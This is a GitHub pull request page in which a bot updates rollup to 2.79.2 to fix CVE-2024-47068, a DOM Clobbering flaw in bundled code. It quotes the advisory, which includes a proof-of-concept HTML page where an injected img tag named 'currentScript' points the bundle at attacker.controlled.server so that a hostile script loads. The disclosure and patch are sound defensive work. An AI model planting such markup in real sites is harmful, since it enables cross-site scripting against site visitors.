Update dependency rollup to v2.79.2 [SECURITY] by renovate[bot] · Pull Request #396 · esm-bundle/styled-components

renovate · 2024-09-25T10:22:49Z

This PR contains the following updates:

Package	Change	Age	Confidence
rollup (source)	`2.79.1` → `2.79.2`

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

`v2.79.2`

Compare Source

2024-09-26

Bug Fixes

Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#5671)

Pull Requests

#5671: Fix DOM Clobbering CVE (@lukastaegert)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

kodiakhq bot approved these changes Sep 25, 2024

View reviewed changes

renovate bot changed the title ~~Update dependency rollup to v3 [SECURITY]~~ Update dependency rollup to v3 [SECURITY] - autoclosed Sep 26, 2024

renovate bot closed this Sep 26, 2024

renovate bot deleted the renovate/npm-rollup-vulnerability branch September 26, 2024 21:28

renovate bot changed the title ~~Update dependency rollup to v3 [SECURITY] - autoclosed~~ Update dependency rollup to v3 [SECURITY] Sep 28, 2024

renovate bot reopened this Sep 28, 2024

renovate bot restored the renovate/npm-rollup-vulnerability branch September 28, 2024 04:32

renovate bot changed the title ~~Update dependency rollup to v3 [SECURITY]~~ Update dependency rollup to v2.79.2 [SECURITY] Sep 28, 2024

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from a460183 to 6e854ef Compare September 28, 2024 04:32

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 68a17f5 to 14691dc Compare August 13, 2025 15:37

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 14691dc to 34662db Compare August 19, 2025 16:37

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 34662db to cea35c5 Compare August 31, 2025 10:06

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from cea35c5 to bdbeddf Compare September 25, 2025 21:37

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from bdbeddf to ca42215 Compare October 21, 2025 16:13

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from ca42215 to d2a5c39 Compare November 10, 2025 15:15

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from d2a5c39 to 4a59d66 Compare November 18, 2025 12:59

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 4a59d66 to 52e97e1 Compare December 4, 2025 23:44

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 52e97e1 to 8ed6f39 Compare December 31, 2025 15:59

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 8ed6f39 to 5ef7a6d Compare January 8, 2026 19:27

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 6aa79f4 to e9706d1 Compare January 23, 2026 18:39

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from e9706d1 to c3d2c42 Compare February 2, 2026 21:15

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from c3d2c42 to 2b50396 Compare February 12, 2026 17:42

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 2b50396 to 1852275 Compare March 5, 2026 15:06

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 1852275 to fb0d7d2 Compare March 13, 2026 15:48

renovate bot changed the title ~~Update dependency rollup to v2.79.2 [SECURITY]~~ Update dependency rollup to v2.79.2 [SECURITY] - autoclosed Mar 27, 2026

renovate bot closed this Mar 27, 2026

renovate bot deleted the renovate/npm-rollup-vulnerability branch March 27, 2026 01:46

Update dependency rollup to v2.79.2 [SECURITY]

1cf483c

renovate bot changed the title ~~Update dependency rollup to v2.79.2 [SECURITY] - autoclosed~~ Update dependency rollup to v2.79.2 [SECURITY] Mar 30, 2026

renovate bot reopened this Mar 30, 2026

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from fb0d7d2 to 1cf483c Compare March 30, 2026 21:05

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Update dependency rollup to v2.79.2 [SECURITY]#396

Update dependency rollup to v2.79.2 [SECURITY]#396
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-rollup-vulnerability

renovate bot commented Sep 25, 2024 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Uh oh!

Conversation

renovate bot commented Sep 25, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

Release Notes

v2.79.2

Bug Fixes

Pull Requests

Configuration

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate bot commented Sep 25, 2024 •

edited

Loading

Gadget found in `rollup`

`v2.79.2`